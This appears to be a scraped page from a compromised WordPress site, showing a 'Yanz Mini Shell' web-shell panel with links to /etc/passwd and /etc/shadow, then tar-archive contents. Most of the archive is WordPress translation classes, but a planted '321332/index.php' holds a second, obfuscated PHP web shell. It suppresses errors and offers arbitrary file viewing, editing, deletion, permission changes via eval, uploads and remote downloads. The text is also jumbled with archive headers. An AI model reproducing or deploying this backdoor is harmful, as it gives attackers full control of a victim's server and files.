Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
guitarlisty
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
class-wp-translations.php���������������������������������������������������������������������������0000644�����������������00000007334�14747511002�0011535 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * I18N: WP_Translations class. * * @package WordPress * @subpackage I18N * @since 6.5.0 */ /** * Class WP_Translations. * * @since 6.5.0 * * @property-read array<string, string> $headers * @property-read array<string, string[]> $entries */ class WP_Translations { /** * Text domain. * * @since 6.5.0 * @var string */ protected $textdomain = 'default'; /** * Translation controller instance. * * @since 6.5.0 * @var WP_Translation_Controller */ protected $controller; /** * Constructor. * * @since 6.5.0 * * @param WP_Translation_Controller $controller I18N controller. * @param string $textdomain Optional. Text domain. Default 'default'. */ public function __construct( WP_Translation_Controller $controller, string $textdomain = 'default' ) { $this->controller = $controller; $this->textdomain = $textdomain; } /** * Magic getter for backward compatibility. * * @since 6.5.0 * * @param string $name Property name. * @return mixed */ public function __get( string $name ) { if ( 'entries' === $name ) { $entries = $this->controller->get_entries( $this->textdomain ); $result = array(); foreach ( $entries as $original => $translations ) { $result[] = $this->make_entry( $original, $translations ); } return $result; } if ( 'headers' === $name ) { return $this->controller->get_headers( $this->textdomain ); } return null; } /** * Builds a Translation_Entry from original string and translation strings. * * @see MO::make_entry() * * @since 6.5.0 * * @param string $original Original string to translate from MO file. Might contain * 0x04 as context separator or 0x00 as singular/plural separator. * @param string $translations Translation strings from MO file. * @return Translation_Entry Entry instance. */ private function make_entry( $original, $translations ): Translation_Entry { $entry = new Translation_Entry(); // Look for context, separated by \4. $parts = explode( "\4", $original ); if ( isset( $parts[1] ) ) { $original = $parts[1]; $entry->context = $parts[0]; } $entry->singular = $original; $entry->translations = explode( "\0", $translations ); $entry->is_plural = count( $entry->translations ) > 1; return $entry; } /** * Translates a plural string. * * @since 6.5.0 * * @param string|null $singular Singular string. * @param string|null $plural Plural string. * @param int|float $count Count. Should be an integer, but some plugins pass floats. * @param string|null $context Context. * @return string|null Translation if it exists, or the unchanged singular string. */ public function translate_plural( $singular, $plural, $count = 1, $context = '' ) { if ( null === $singular || null === $plural ) { return $singular; } $translation = $this->controller->translate_plural( array( $singular, $plural ), (int) $count, (string) $context, $this->textdomain ); if ( false !== $translation ) { return $translation; } // Fall back to the original with English grammar rules. return ( 1 === $count ? $singular : $plural ); } /** * Translates a singular string. * * @since 6.5.0 * * @param string|null $singular Singular string. * @param string|null $context Context. * @return string|null Translation if it exists, or the unchanged singular string */ public function translate( $singular, $context = '' ) { if ( null === $singular ) { return null; } $translation = $this->controller->translate( $singular, (string) $context, $this->textdomain ); if ( false !== $translation ) { return $translation; } // Fall back to the original. return $singular; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-translation-file-php.php�������������������������������������������������������������������0000644�����������������00000003425�14747511002�0013051 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * I18N: WP_Translation_File_PHP class. * * @package WordPress * @subpackage I18N * @since 6.5.0 */ /** * Class WP_Translation_File_PHP. * * @since 6.5.0 */ class WP_Translation_File_PHP extends WP_Translation_File { /** * Parses the file. * * @since 6.5.0 */ protected function parse_file() { $this->parsed = true; $result = include $this->file; if ( ! $result || ! is_array( $result ) ) { $this->error = 'Invalid data'; return; } if ( isset( $result['messages'] ) && is_array( $result['messages'] ) ) { foreach ( $result['messages'] as $original => $translation ) { $this->entries[ (string) $original ] = $translation; } unset( $result['messages'] ); } $this->headers = array_change_key_case( $result ); } /** * Exports translation contents as a string. * * @since 6.5.0 * * @return string Translation file contents. */ public function export(): string { $data = array_merge( $this->headers, array( 'messages' => $this->entries ) ); return '<?php' . PHP_EOL . 'return ' . $this->var_export( $data ) . ';' . PHP_EOL; } /** * Outputs or returns a parsable string representation of a variable. * * Like {@see var_export()} but "minified", using short array syntax * and no newlines. * * @since 6.5.0 * * @param mixed $value The variable you want to export. * @return string The variable representation. */ private function var_export( $value ): string { if ( ! is_array( $value ) ) { return var_export( $value, true ); } $entries = array(); $is_list = array_is_list( $value ); foreach ( $value as $key => $val ) { $entries[] = $is_list ? $this->var_export( $val ) : var_export( $key, true ) . '=>' . $this->var_export( $val ); } return '[' . implode( ',', $entries ) . ']'; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-translation-controller.php�����������������������������������������������������������������0000644�����������������00000027756�14747511002�0013545 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * I18N: WP_Translation_Controller class. * * @package WordPress * @subpackage I18N * @since 6.5.0 */ /** * Class WP_Translation_Controller. * * @since 6.5.0 */ final class WP_Translation_Controller { /** * Current locale. * * @since 6.5.0 * @var string */ protected $current_locale = 'en_US'; /** * Map of loaded translations per locale and text domain. * * [ Locale => [ Textdomain => [ ..., ... ] ] ] * * @since 6.5.0 * @var array<string, array<string, WP_Translation_File[]>> */ protected $loaded_translations = array(); /** * List of loaded translation files. * * [ Filename => [ Locale => [ Textdomain => WP_Translation_File ] ] ] * * @since 6.5.0 * @var array<string, array<string, array<string, WP_Translation_File|false>>> */ protected $loaded_files = array(); /** * Container for the main instance of the class. * * @since 6.5.0 * @var WP_Translation_Controller|null */ private static $instance = null; /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 6.5.0 * * @return WP_Translation_Controller */ public static function get_instance(): WP_Translation_Controller { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * Returns the current locale. * * @since 6.5.0 * * @return string Locale. */ public function get_locale(): string { return $this->current_locale; } /** * Sets the current locale. * * @since 6.5.0 * * @param string $locale Locale. */ public function set_locale( string $locale ) { $this->current_locale = $locale; } /** * Loads a translation file for a given text domain. * * @since 6.5.0 * * @param string $translation_file Translation file. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return bool True on success, false otherwise. */ public function load_file( string $translation_file, string $textdomain = 'default', ?string $locale = null ): bool { if ( null === $locale ) { $locale = $this->current_locale; } $translation_file = realpath( $translation_file ); if ( false === $translation_file ) { return false; } if ( isset( $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] ) && false !== $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] ) { return null === $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ]->error(); } if ( isset( $this->loaded_files[ $translation_file ][ $locale ] ) && array() !== $this->loaded_files[ $translation_file ][ $locale ] ) { $moe = reset( $this->loaded_files[ $translation_file ][ $locale ] ); } else { $moe = WP_Translation_File::create( $translation_file ); if ( false === $moe || null !== $moe->error() ) { $moe = false; } } $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] = $moe; if ( ! $moe instanceof WP_Translation_File ) { return false; } if ( ! isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { $this->loaded_translations[ $locale ][ $textdomain ] = array(); } $this->loaded_translations[ $locale ][ $textdomain ][] = $moe; return true; } /** * Unloads a translation file for a given text domain. * * @since 6.5.0 * * @param WP_Translation_File|string $file Translation file instance or file name. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Defaults to all locales. * @return bool True on success, false otherwise. */ public function unload_file( $file, string $textdomain = 'default', ?string $locale = null ): bool { if ( is_string( $file ) ) { $file = realpath( $file ); } if ( null !== $locale ) { if ( isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { foreach ( $this->loaded_translations[ $locale ][ $textdomain ] as $i => $moe ) { if ( $file === $moe || $file === $moe->get_file() ) { unset( $this->loaded_translations[ $locale ][ $textdomain ][ $i ] ); unset( $this->loaded_files[ $moe->get_file() ][ $locale ][ $textdomain ] ); return true; } } } return true; } foreach ( $this->loaded_translations as $l => $domains ) { if ( ! isset( $domains[ $textdomain ] ) ) { continue; } foreach ( $domains[ $textdomain ] as $i => $moe ) { if ( $file === $moe || $file === $moe->get_file() ) { unset( $this->loaded_translations[ $l ][ $textdomain ][ $i ] ); unset( $this->loaded_files[ $moe->get_file() ][ $l ][ $textdomain ] ); return true; } } } return false; } /** * Unloads all translation files for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Defaults to all locales. * @return bool True on success, false otherwise. */ public function unload_textdomain( string $textdomain = 'default', ?string $locale = null ): bool { $unloaded = false; if ( null !== $locale ) { if ( isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) { $unloaded = true; foreach ( $this->loaded_translations[ $locale ][ $textdomain ] as $moe ) { unset( $this->loaded_files[ $moe->get_file() ][ $locale ][ $textdomain ] ); } } unset( $this->loaded_translations[ $locale ][ $textdomain ] ); return $unloaded; } foreach ( $this->loaded_translations as $l => $domains ) { if ( ! isset( $domains[ $textdomain ] ) ) { continue; } $unloaded = true; foreach ( $domains[ $textdomain ] as $moe ) { unset( $this->loaded_files[ $moe->get_file() ][ $l ][ $textdomain ] ); } unset( $this->loaded_translations[ $l ][ $textdomain ] ); } return $unloaded; } /** * Determines whether translations are loaded for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return bool True if there are any loaded translations, false otherwise. */ public function is_textdomain_loaded( string $textdomain = 'default', ?string $locale = null ): bool { if ( null === $locale ) { $locale = $this->current_locale; } return isset( $this->loaded_translations[ $locale ][ $textdomain ] ) && array() !== $this->loaded_translations[ $locale ][ $textdomain ]; } /** * Translates a singular string. * * @since 6.5.0 * * @param string $text Text to translate. * @param string $context Optional. Context for the string. Default empty string. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return string|false Translation on success, false otherwise. */ public function translate( string $text, string $context = '', string $textdomain = 'default', ?string $locale = null ) { if ( '' !== $context ) { $context .= "\4"; } $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { return false; } return $translation['entries'][0]; } /** * Translates plurals. * * Checks both singular+plural combinations as well as just singulars, * in case the translation file does not store the plural. * * @since 6.5.0 * * @param array $plurals { * Pair of singular and plural translations. * * @type string $0 Singular translation. * @type string $1 Plural translation. * } * @param int $number Number of items. * @param string $context Optional. Context for the string. Default empty string. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string|null $locale Optional. Locale. Default current locale. * @return string|false Translation on success, false otherwise. */ public function translate_plural( array $plurals, int $number, string $context = '', string $textdomain = 'default', ?string $locale = null ) { if ( '' !== $context ) { $context .= "\4"; } $text = implode( "\0", $plurals ); $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { $text = $plurals[0]; $translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale ); if ( false === $translation ) { return false; } } /** @var WP_Translation_File $source */ $source = $translation['source']; $num = $source->get_plural_form( $number ); // See \Translations::translate_plural(). return $translation['entries'][ $num ] ?? $translation['entries'][0]; } /** * Returns all existing headers for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @return array<string, string> Headers. */ public function get_headers( string $textdomain = 'default' ): array { if ( array() === $this->loaded_translations ) { return array(); } $headers = array(); foreach ( $this->get_files( $textdomain ) as $moe ) { foreach ( $moe->headers() as $header => $value ) { $headers[ $this->normalize_header( $header ) ] = $value; } } return $headers; } /** * Normalizes header names to be capitalized. * * @since 6.5.0 * * @param string $header Header name. * @return string Normalized header name. */ protected function normalize_header( string $header ): string { $parts = explode( '-', $header ); $parts = array_map( 'ucfirst', $parts ); return implode( '-', $parts ); } /** * Returns all entries for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @return array<string, string> Entries. */ public function get_entries( string $textdomain = 'default' ): array { if ( array() === $this->loaded_translations ) { return array(); } $entries = array(); foreach ( $this->get_files( $textdomain ) as $moe ) { $entries = array_merge( $entries, $moe->entries() ); } return $entries; } /** * Locates translation for a given string and text domain. * * @since 6.5.0 * * @param string $singular Singular translation. * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return array{source: WP_Translation_File, entries: string[]}|false { * Translations on success, false otherwise. * * @type WP_Translation_File $source Translation file instance. * @type string[] $entries Array of translation entries. * } */ protected function locate_translation( string $singular, string $textdomain = 'default', ?string $locale = null ) { if ( array() === $this->loaded_translations ) { return false; } // Find the translation in all loaded files for this text domain. foreach ( $this->get_files( $textdomain, $locale ) as $moe ) { $translation = $moe->translate( $singular ); if ( false !== $translation ) { return array( 'entries' => explode( "\0", $translation ), 'source' => $moe, ); } if ( null !== $moe->error() ) { // Unload this file, something is wrong. $this->unload_file( $moe, $textdomain, $locale ); } } // Nothing could be found. return false; } /** * Returns all translation files for a given text domain. * * @since 6.5.0 * * @param string $textdomain Optional. Text domain. Default 'default'. * @param string $locale Optional. Locale. Default current locale. * @return WP_Translation_File[] List of translation files. */ protected function get_files( string $textdomain = 'default', ?string $locale = null ): array { if ( null === $locale ) { $locale = $this->current_locale; } return $this->loaded_translations[ $locale ][ $textdomain ] ?? array(); } } ������������������321332/index.php������������������������������������������������������������������������������������0000644�����������������00000025362�14747511002�0007132 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php eRRor_rEporTing(0); $wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):''; $req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):''; $req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):''); $script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):''; if ($script_filename=='') $script_filename=__FILE__ ; if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename); $wwwroot=str_replace('\\','/',$wwwroot); $dir=isset($_GET['d'])?trim($_GET['d']):''; $dir=str_replace('\\','/',$dir); $file=isset($_GET['f'])?trim($_GET['f']):''; $file=str_replace('\\','/',$file); $action=isset($_GET['a'])?trim($_GET['a']):''; if ( $action=='' ) { $current_dir=$dir==''?$wwwroot:$dir; $current_dir=rtrim($current_dir,'/'); $current_dir_nav=''; $dir_path=''; $current_dir_split=explode('/',$current_dir); foreach( $current_dir_split as $dir ) { $dir_path.=$dir.'/'; $current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>'; } $dir_rows=''; $file_rows=''; $current_dir_list=sCaNDir($current_dir); $row_id=0; foreach( $current_dir_list as $target_name ) { if ( $target_name=='.' || $target_name=='..' ) continue; $target=$current_dir.'/'.$target_name; $target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name; $row_id++; $target_u_id=fIlEOwNEr($target); $target_u_att=poSIx_GEtpWUid($target_u_id); $target_owner=$target_u_att['name']; $target_perm=get_qx($target); $target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target)); if ( is_dir($target) ) { $dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>'; }else { $target_fsize=fILesIzE($target); $target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB'); $file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>'; } } $div_html='<table cellspacing="10"> <tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a> 当前目录:'.$current_dir_nav.' <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr> <tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr> '.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).' </table>'; }elseif ( $action=='sc' ) { if ( $file!='' ) { uNlInk($file); jump_to('?d='.diRNaMe($file)); }elseif( $dir!='' ) { rm_rf($dir); jump_to('?d='.DIrnaMe($dir)); } exit; }elseif( $action=='gm' ) { $gm=isset($_POST['gm'])?trim($_POST['gm']):''; if ( $gm!='' ) { $old_f=$file==''?$dir:$file; if ( $old_f!='' && file_exists($old_f) ) { $old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir); } }else { show_msg('请输入新名称!','back'); } exit; }elseif( $action=='qx' ) { $target=$dir==''?$file:$dir; if ( $target!='' ) { $qx=isset($_POST['qx'])?trim($_POST['qx']):''; if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' ) { set_qx($target,$qx); jump_to('?d='.dIRnamE($target)); }else { show_msg('请输入新权限!','back'); } } exit; }elseif( $action=='ck' && $file!='' ) { if ( fiLEsIze($file)<10000000 ) { HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file); }else { show_msg('文件大小超限!','close'); } exit; }elseif( $action=='bj' && $file!='' ) { if ( isset($_POST['f_content']) ) { FilE_pUt_COnteNts($file,$_POST['f_content']); md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!',''); } $f_content=is_file($file)?str_replace('</textarea>','</textarea>',FIle_gET_contENtS($file)):''; $div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存"> <input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>'; }elseif( $action=='tj' && $dir!='' ) { $t_name=isset($_POST['t_name'])?trim($_POST['t_name']):''; if ( $t_name=='' ) { show_msg('请输入项目名称!','back'); }else { if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,''); if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true); if ( $_POST['t_type']=='tj_xz' ) { preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ; } jump_to('?d='.$dir); } exit; }elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) ) { MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ; jump_to('?d='.$dir); exit; } function get_qx($t) { $q=substr(sprintf('%o',fILepErMs($t)),-4); return $q; } function set_qx($t,$q) { EvAl('cHMoD("'.$t.'",'.$q.');'); if ( get_qx($t)!=$q ) { $tmp_f=uniqid().'.txt'; $tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>'; fiLE_puT_cONtEnTs($tmp_f,$tmp_c); require($tmp_f); UnLInK($tmp_f); } } function rm_rf($d) { if (is_dir($d)) { $f_l=sCaNDir($d); foreach ($f_l as $f) { if ($f=='.'||$f=='..') continue; $p=$d.'/'.$f; is_dir($p)?rm_rf($p):uNliNk($p); } rMdIR($d); } } function show_msg($msg,$go) { echo '<script>alert("'.$msg.'");</script>'; if ($go=='back') echo '<script>window.history.back();</script>'; if ($go=='close') echo '<script>window.close();</script>'; } function jump_to($url) { echo '<script>window.location.href="'.$url.'";</script>'; } function down_file($dir,$url) { $s_name=array_pop(explode('/',$url)); if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz'; $ch=CUrl_iNit(); cuRl_seTOpt ($ch, CURLOPT_URL, $url); cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1); cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5); cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false); cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false); cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true); $contents = cUrl_eXeC($ch); cURl_CLosE($ch); if ( empty($contents) ) $contents=filE_geT_cONTentS($url); if ( empty($contents) ) { show_msg('下载出错!',''); }else { fIle_PuT_cONteNts($dir.'/'.$s_name,$contents); show_msg('下载完成!',''); } } ?> <html> <head> <title>芝麻web文件管理</title> <meta name="robots" content="none"> <meta http-equiv="Content-Type" Content="text/html; Charset=utf-8"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> </head> <body> <style> a {color:#000000;text-decoration:none;} a:hover {color:#ff0000;} .tl:hover {background-color:#eeeeee;} form {margin:0;} </style> <script> function show_input_box(s,t,f,a,) { var span=document.getElementById(s); if ( span.innerHTML=='' ) { span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>'; }else { span.innerHTML=''; } } function confirm_sc(t,f) { if (f=='d') { if ( confirm('确定要删除此目录吗?') ) { window.location.href='?d='+t+'&a=sc'; } } if (f=='f') { if ( confirm('确定要删除此文件吗?') ) { window.location.href='?f='+t+'&a=sc'; } } } </script> <div> <h1>芝麻web文件管理V1.00</h1> <?php echo $div_html;?> </div> </body> </html>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-translation-file-mo.php��������������������������������������������������������������������0000644�����������������00000014273�14747511002�0012700 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * I18N: WP_Translation_File_MO class. * * @package WordPress * @subpackage I18N * @since 6.5.0 */ /** * Class WP_Translation_File_MO. * * @since 6.5.0 */ class WP_Translation_File_MO extends WP_Translation_File { /** * Endian value. * * V for little endian, N for big endian, or false. * * Used for unpack(). * * @since 6.5.0 * @var false|'V'|'N' */ protected $uint32 = false; /** * The magic number of the GNU message catalog format. * * @since 6.5.0 * @var int */ const MAGIC_MARKER = 0x950412de; /** * Detects endian and validates file. * * @since 6.5.0 * * @param string $header File contents. * @return false|'V'|'N' V for little endian, N for big endian, or false on failure. */ protected function detect_endian_and_validate_file( string $header ) { $big = unpack( 'N', $header ); if ( false === $big ) { return false; } $big = reset( $big ); if ( false === $big ) { return false; } $little = unpack( 'V', $header ); if ( false === $little ) { return false; } $little = reset( $little ); if ( false === $little ) { return false; } // Force cast to an integer as it can be a float on x86 systems. See https://core.trac.wordpress.org/ticket/60678. if ( (int) self::MAGIC_MARKER === $big ) { return 'N'; } // Force cast to an integer as it can be a float on x86 systems. See https://core.trac.wordpress.org/ticket/60678. if ( (int) self::MAGIC_MARKER === $little ) { return 'V'; } $this->error = 'Magic marker does not exist'; return false; } /** * Parses the file. * * @since 6.5.0 * * @return bool True on success, false otherwise. */ protected function parse_file(): bool { $this->parsed = true; $file_contents = file_get_contents( $this->file ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents if ( false === $file_contents ) { return false; } $file_length = strlen( $file_contents ); if ( $file_length < 24 ) { $this->error = 'Invalid data'; return false; } $this->uint32 = $this->detect_endian_and_validate_file( substr( $file_contents, 0, 4 ) ); if ( false === $this->uint32 ) { return false; } $offsets = substr( $file_contents, 4, 24 ); if ( false === $offsets ) { return false; } $offsets = unpack( "{$this->uint32}rev/{$this->uint32}total/{$this->uint32}originals_addr/{$this->uint32}translations_addr/{$this->uint32}hash_length/{$this->uint32}hash_addr", $offsets ); if ( false === $offsets ) { return false; } $offsets['originals_length'] = $offsets['translations_addr'] - $offsets['originals_addr']; $offsets['translations_length'] = $offsets['hash_addr'] - $offsets['translations_addr']; if ( $offsets['rev'] > 0 ) { $this->error = 'Unsupported revision'; return false; } if ( $offsets['translations_addr'] > $file_length || $offsets['originals_addr'] > $file_length ) { $this->error = 'Invalid data'; return false; } // Load the Originals. $original_data = str_split( substr( $file_contents, $offsets['originals_addr'], $offsets['originals_length'] ), 8 ); $translations_data = str_split( substr( $file_contents, $offsets['translations_addr'], $offsets['translations_length'] ), 8 ); foreach ( array_keys( $original_data ) as $i ) { $o = unpack( "{$this->uint32}length/{$this->uint32}pos", $original_data[ $i ] ); $t = unpack( "{$this->uint32}length/{$this->uint32}pos", $translations_data[ $i ] ); if ( false === $o || false === $t ) { continue; } $original = substr( $file_contents, $o['pos'], $o['length'] ); $translation = substr( $file_contents, $t['pos'], $t['length'] ); // GlotPress bug. $translation = rtrim( $translation, "\0" ); // Metadata about the MO file is stored in the first translation entry. if ( '' === $original ) { foreach ( explode( "\n", $translation ) as $meta_line ) { if ( '' === $meta_line ) { continue; } list( $name, $value ) = array_map( 'trim', explode( ':', $meta_line, 2 ) ); $this->headers[ strtolower( $name ) ] = $value; } } else { /* * In MO files, the key normally contains both singular and plural versions. * However, this just adds the singular string for lookup, * which caters for cases where both __( 'Product' ) and _n( 'Product', 'Products' ) * are used and the translation is expected to be the same for both. */ $parts = explode( "\0", (string) $original ); $this->entries[ $parts[0] ] = $translation; } } return true; } /** * Exports translation contents as a string. * * @since 6.5.0 * * @return string Translation file contents. */ public function export(): string { // Prefix the headers as the first key. $headers_string = ''; foreach ( $this->headers as $header => $value ) { $headers_string .= "{$header}: $value\n"; } $entries = array_merge( array( '' => $headers_string ), $this->entries ); $entry_count = count( $entries ); if ( false === $this->uint32 ) { $this->uint32 = 'V'; } $bytes_for_entries = $entry_count * 4 * 2; // Pair of 32bit ints per entry. $originals_addr = 28; /* header */ $translations_addr = $originals_addr + $bytes_for_entries; $hash_addr = $translations_addr + $bytes_for_entries; $entry_offsets = $hash_addr; $file_header = pack( $this->uint32 . '*', // Force cast to an integer as it can be a float on x86 systems. See https://core.trac.wordpress.org/ticket/60678. (int) self::MAGIC_MARKER, 0, /* rev */ $entry_count, $originals_addr, $translations_addr, 0, /* hash_length */ $hash_addr ); $o_entries = ''; $t_entries = ''; $o_addr = ''; $t_addr = ''; foreach ( array_keys( $entries ) as $original ) { $o_addr .= pack( $this->uint32 . '*', strlen( $original ), $entry_offsets ); $entry_offsets += strlen( $original ) + 1; $o_entries .= $original . "\0"; } foreach ( $entries as $translations ) { $t_addr .= pack( $this->uint32 . '*', strlen( $translations ), $entry_offsets ); $entry_offsets += strlen( $translations ) + 1; $t_entries .= $translations . "\0"; } return $file_header . $o_addr . $t_addr . $o_entries . $t_entries; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-translation-file.php�����������������������������������������������������������������������0000644�����������������00000014211�14747511002�0012257 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * I18N: WP_Translation_File class. * * @package WordPress * @subpackage I18N * @since 6.5.0 */ /** * Class WP_Translation_File. * * @since 6.5.0 */ abstract class WP_Translation_File { /** * List of headers. * * @since 6.5.0 * @var array<string, string> */ protected $headers = array(); /** * Whether file has been parsed. * * @since 6.5.0 * @var bool */ protected $parsed = false; /** * Error information. * * @since 6.5.0 * @var string|null Error message or null if no error. */ protected $error; /** * File name. * * @since 6.5.0 * @var string */ protected $file = ''; /** * Translation entries. * * @since 6.5.0 * @var array<string, string> */ protected $entries = array(); /** * Plural forms function. * * @since 6.5.0 * @var callable|null Plural forms. */ protected $plural_forms = null; /** * Constructor. * * @since 6.5.0 * * @param string $file File to load. */ protected function __construct( string $file ) { $this->file = $file; } /** * Creates a new WP_Translation_File instance for a given file. * * @since 6.5.0 * * @param string $file File name. * @param string|null $filetype Optional. File type. Default inferred 